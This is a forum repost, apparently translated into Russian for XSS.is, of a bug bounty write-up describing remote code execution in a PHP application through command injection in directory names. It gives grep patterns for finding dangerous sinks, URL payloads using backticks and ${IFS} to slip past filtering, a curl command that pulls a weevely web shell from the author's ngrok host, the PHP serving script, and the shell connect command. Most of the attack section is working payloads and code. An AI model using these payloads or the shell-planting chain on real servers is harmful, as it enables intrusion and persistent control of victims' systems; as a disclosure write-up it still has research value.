Хардкорный RCE в утечке исходного кода PHP за 3.000 долларов

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Эту статью можно было бы считать продолжением моих предыдущих находок за 10 000 долларов.
Ранее я мог получить доступ к исходному коду через открытый каталог .git, в котором была обнаружена уязвимость RCE. После того как я изучил уязвимость, я продолжил изучать код в поисках других уязвимостей.
К счастью, я нашел другую, более сложную RCE, с помощью функции создания каталогов.
Вам это понравится=)

Примечание: Я рекомендую прочитать мою предыдущую статью, чтобы понять, как я получил доступ к исходному коду веб-приложения. https://medium.com/@levshmelevv/10-000-bounty-for-exposed-git-to-rce-304c7e1f54
Нажмите, чтобы раскрыть...

Прежде всего, чтобы найти уязвимости в исходном коде, вам необходимо определить потенциальные точки входа. Для этой цели можно использовать такие инструменты, как SonarQube, но я предпочитаю использовать олдскульный grep.

Вот несколько примеров для PHP:

XSS:

Код: Скопировать в буфер обмена
Код:
grep -Ri "\$_" . | grep "echo"
grep -Ri "\$_GET" . | grep "echo"
grep -Ri "\$_POST" . | grep "echo"
grep -Ri "\$_REQUEST" . | grep "echo"

Command execution:​

Код: Скопировать в буфер обмена
Код:
grep -Ri "shell_exec(" .
grep -Ri "system(" .
grep -Ri "exec(" .

Code execution:​

Код: Скопировать в буфер обмена
Код:
grep -Ri "eval(" .
grep -Ri "assert(" .
grep -Ri "preg_replace" . | grep "/e"

SQL Injection:​

Код: Скопировать в буфер обмена
Код:
grep -Ri "\$sql" .
grep -Ri "\$sql" . | grep "\$_"

RFI/LFI:​

Код: Скопировать в буфер обмена
Код:
grep -Ri "file_include" .
grep -Ri "include(" .
grep -Ri "require(" .
grep -Ri "include_once(" .
grep -Ri "require_once(" .
grep -Ri "require_once(" . | grep "\$_"

Глава 1​

После сканирования кода я сосредоточился на этом разделе, где используется функция @exec(). С помощью этой функции я попытаюсь получить RCE.

Изображение [1] : testSize.php


Изображение [1] : testSize.php​

Целью этого кода является определение размеров файлов. Прежде всего, в строке 40 вызывается scandir(), возвращающий массив содержимого каталога. Далее имена файлов и каталогов фильтруются с помощью preg_replace() и отправляются в функцию filesize64(), где находится вызов @exec().

Очень круто, но этот код не принимает никаких пользовательских данных для внедрения, за исключением содержимого каталога /home/html/ftp-upload/uploads/OELxI386/, над которым я не имею никакого контроля. Поэтому я отложил этот код в сторону на несколько недель…

Глава 2​

Через некоторое время я решил перепроверить, как был исправлен мой предыдущий RCE на этом ресурсе. Я попробовал использовать разные полезные нагрузки и случайно обнаружил, что если я укажу два значения, разделенных пробелом (test%20somename) в параметре adduser, например, в этом URL:
http://example.com/ftp-upload/sync.php?adduser=test%20someuser&secret1=[secret1]&secret2=[secret2] — значение после пробела будет использовано для создания каталога с тем же именем в том же расположении, что и PHP-файл.

Код, который отвечает за это:

1696887161461.png


Изображение [2] : adduser

1696887171049.png


Изображение [3] : Сама команда​

Таким образом, передавая значения с пробелом, код для создания каталога будет выглядеть следующим образом:
Код: Скопировать в буфер обмена
mkdir /home/html/ftp-upload/uploads/test somename

Глава 3​

Возможность создавать свои собственные каталоги привела меня к идее использовать это для ввода полезной нагрузки в @exec() и использовать эту цепочку для достижения RCE.

Первой мыслью было попробовать создать каталог с полезной нагрузкой в названии, который отправит запрос на мой сервер.
Если запрос поступает, значит, код успешно выполнен.

Для этого я использовал команду dig:
Код: Скопировать в буфер обмена
dig%20rce.ct9zmv3v0e1uai2y5bc9q2b0grmka9.oastify.com
И для того, чтобы каталог с таким именем был прочитан scandir(), мы создаем его в uploads/OELxI386/

Запрос:
http://example.com/ftp-upload/sync.php?adduser=test%20uploads/OELxI386/dig%20rce.ct9zmv3v0e1uai2y5bc9q2b0grmka9.oastify.com&secret1=[secret1]&secret2=[secret2]
Но ничего не сработало из-за использования пробела в полезной нагрузке, когда он попадает в команду mkdir, пробел разделяет полезную нагрузку и создает три каталога:
Код: Скопировать в буфер обмена
mkdir /home/html/ftp-upload/uploads/test uploads/OELxI386/dig rce.ct9zmv3v0e1uai2y5bc9q2b0grmka9.oastify.com

Следовательно, наша полезная нагрузка не должна содержать пробелов, их можно заменить на ${IFS}.
Заключительный запрос:
Код: Скопировать в буфер обмена
http://example.com/ftp-upload/sync.php?adduser=test%20uploads/OELxI386/`cd${IFS}errors%26%26curl${IFS}rce.eu.ngrok.io${IFS}-o${IFS}shell.php`&secret1=[secret1]&secret2=[secret2]

1696887400520.png


Изображение [4] : Замена пробелов​
Отлично!
Каталог с полезной нагрузкой в названии был создан, и теперь необходимо запустить скрипт с уязвимой функцией, которая читает (в этом контексте, читает - принимает имена каталогов как инпут) содержимое каталога. Для этого нам нужно перейти к http://example.com/ftp-upload/testSize.php

Мы видим, что скрипт сработал:

1696887969463.png


Изображение [5] : Запуск testSize.php​

И запрос успешно поступил. Это RCE!

Давайте повторим то, что здесь произошло:​

1. Мы отправляем запрос на создание каталога с полезной нагрузкой в нужном нам месте: http://example.com/ftp-upload/sync.php?adduser=test%20uploads/OELxI386/dig${IFS}rce.ct9zmv3v0e1uai2y5bc9q2b0grmka9.oastify.com&secret1=[secret1]&secret2=[secret2]

2. Полезная нагрузка отправляется скрипту, который создает каталог.

1696888272725.png


Изображение [6] : Команда которая создает каталог​

Команда, которая будет выполнена на сервере, является:
Код: Скопировать в буфер обмена
mkdir /home/html/ftp-upload/uploads/test uploads/OELxI386/dig${IFS}rce.ct9zmv3v0e1uai2y5bc9q2b0grmka9.oastify.com

3. Запускаем скрипт чтения каталога:
http://example.com/ftp-upload/testSize.php

Скрипт считывает содержимое каталога /home/html/ftp-upload/uploads/OELxI386/ (в который мы загрузили полезную нагрузку)
и передает его функции filesize64(), где происходит вызов кода с нашей полезной нагрузкой.

1696888456266.png


Изображение [7] : testSize.php
Он передается в функцию filesize64(), где происходит вызов кода с нашей полезной нагрузкой.

1696888491681.png


Изображение [8] : Функция filesize64​



Глава 4​

Все, что осталось, - это загрузить оболочку для беспрепятственного выполнения кода на сервере.

Давайте перейдем к этапам воспроизведения:
1. Создайте оболочку с помощью weevely и сохраните ее в формате txt
weevely generate 123pass shell.txt

2. Создайте index.php файл, который будет использоваться на нашем сервере для загрузки оболочки.
Код: Скопировать в буфер обмена
Код:
<?php
$attachment_location = "shell.txt";
if (file_exists($attachment_location)) {
header($_SERVER["SERVER_PROTOCOL"] . " 200 OK");
header("Cache-Control: public");
header("Content-Type: plane/text");
header("Content-Transfer-Encoding: Binary");
header("Content-Length:".filesize($attachment_location));
header("Content-Disposition: attachment; filename=shell.php");
readfile($attachment_location);
die();
} else {
die("Error: File not found.");
}
При отправке запроса к этому скрипту уязвимый сервер примет наш shell.txt и сохраняет его как shell.php . Таким образом, shell.php будет загружен на уязвимый сервер.

3. Настройте локальный PHP-сервер и туннелируйте соединение с помощью ngrok.

Код: Скопировать в буфер обмена
Код:
php -S 127.0.0.1:8889 index.php
ngrok http -subdomain=rce 8889 -scheme http -scheme https

4. Последним шагом является создание окончательной полезной нагрузки, которая загрузит нашу оболочку на сервер.
Поскольку на сервере все еще есть фильтрация, потребовался небольшой мозговой штурм, и в результате я получил следующую полезную нагрузку:

Код: Скопировать в буфер обмена
uploads/OELxI386/`cd${IFS}errors%26%26curl${IFS}rce.eu.ngrok.io${IFS}-o${IFS}shell.php`

Полезная нагрузка выполнит следующие команды на уязвимом сервере:
Код: Скопировать в буфер обмена
Код:
cd errors #To go to a writable directory
curl rce.eu.ngrok.io -o shell.php #The command that will download the shell to the vulnerable server
Поскольку сервер использует фильтрацию в виде preg_match(‘/[\/:”*?<>|]+/’, $ f), было невозможно использовать косые черты в коде.

Результат:
http://example.com/ftp-upload/sync.php?adduser=[B]test%20uploads/OELxI386/dig${IFS}rce.ct9zmv3v0e1uai2y5bc9q2b0grmka9.oastify.com[/B]&secret1=[secret1]&secret2=[secret2]

1696888923630.png


Изображение [9] : Полезная нагрузка​

5. Мы вызываем скрипт для выполнения кода
http://example.com/ftp-upload/testSize.php

После чего мы получаем запрос на наш сервер

1696889092354.png


Изображение [10] : Ngrok
И мы проверяем каталог errors/ на наличие оболочки

1696889217142.png


Изображение [11] : WEB Shell​

И это там!

6. Все, что осталось, - это подключиться к нему и выполнять команды
Код: Скопировать в буфер обмена
weevely http://example.com/ftp-upload/errors/shell.php 123pass

1696889294913.png


Изображение [12] : Weevely​

Теперь мы можем пойти отпраздновать в ближайший бар.

После нескольких дней исправлений команда наградила меня баунти (как традиция, мотивационный скриншот =))

1696889421395.png


Изображение [13] : Бабки​

На этот раз они заплатили мне намного меньше, чем я ожидал, и компания объяснила это следующим образом:

1696889492293.png


Изображение [14] : Отговорки​

Это обратная сторона поиска ошибок на автономных платформах.

Я надеюсь, что смог доходчиво рассказать вам об интересном случае с использованием уязвимости. Счастливой охоты и много-много баунти всем!

Свяжитесь со мной через Linkedin - https://www.linkedin.com/in/levsaar/

Источник: https://medium.com/@levshmelevv/hardcore-rce-via-directory-name-for-3-000-225ed58b41a9

Перевод от grozdniyandy Специально для XSS.is

 
Сверху Снизу